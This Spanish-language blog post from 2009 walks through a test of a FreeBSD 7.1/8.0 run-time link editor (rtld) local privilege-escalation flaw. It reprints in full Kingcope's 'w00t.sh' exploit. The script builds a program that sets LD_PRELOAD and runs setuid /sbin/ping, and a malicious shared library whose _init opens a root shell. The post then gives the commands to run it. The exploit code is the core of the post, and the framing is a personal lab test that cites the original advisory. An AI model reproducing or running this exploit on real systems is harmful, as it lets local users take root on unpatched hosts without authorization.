Introducción.
El día de ayer me enteré que habían descubierto una vulnerabilidad en FreeBSD, mas específicamente en editor de enlace en tiempo real (rtld) que le permite a cualquier usuario local convertirse en root.
Este fallo afecta a las versiones 7.1 y 8 (Amnesiac) de FreeBSD.
La presente es una prueba, rápida y sencilla del exploit para ver como funcionaba.
Instalación.
Descargué la imagen ISO del disco #1 de FreeBSD versión 8 del siguiente enlace.
ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/8.0/
En el momento de instalarlo es necesario incluír el soporte para el desarrollo de aplicaciones en C ya que es necesario compilar y enlazar un pequeño programa con gcc.
Ejecución.
Ingrese como un usuario sin privilegios en el sistema, en mi caso, el usuario jimezam el cual ni siquiera puede intentar convertirse en root mediante la invocación a su.
Cree u obtenga el archivo w00t.sh con el código fuente del exploit, dispuesto a continuación.
#!/bin/sh echo ** FreeBSD local r00t zeroday echo by Kingcope echo November 2009 cat > env.c << _EOF #include <stdio.h> main() { extern char **environ; environ = (char**)malloc(8096); environ[0] = (char*)malloc(1024); environ[1] = (char*)malloc(1024); strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); execl("/sbin/ping", "ping", 0); } _EOF gcc env.c -o env cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { extern char **environ; environ=NULL; system("echo ALEX-ALEX;/bin/sh"); } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles cp w00t.so.1.0 /tmp/w00t.so.1.0 ./env
Modifique su permiso de ejecución.
$ chmod +x w00t.sh
Invoque el script.
Note como el usuario propietario de la sesión ha obtenido privilegios de administrador.
El bug ha sido entonces exitosamente explotado.
Enlaces.
- FreeBSD local r00t zeroday.
http://seclists.org/fulldisclosure/2009/Nov/371 - FreeBSD – The power to serve.
http://www.freebsd.org/
One Reply to “Probando la vulnerabilidad de FreeBSD 8.0 (noviembre 30 de 2009)”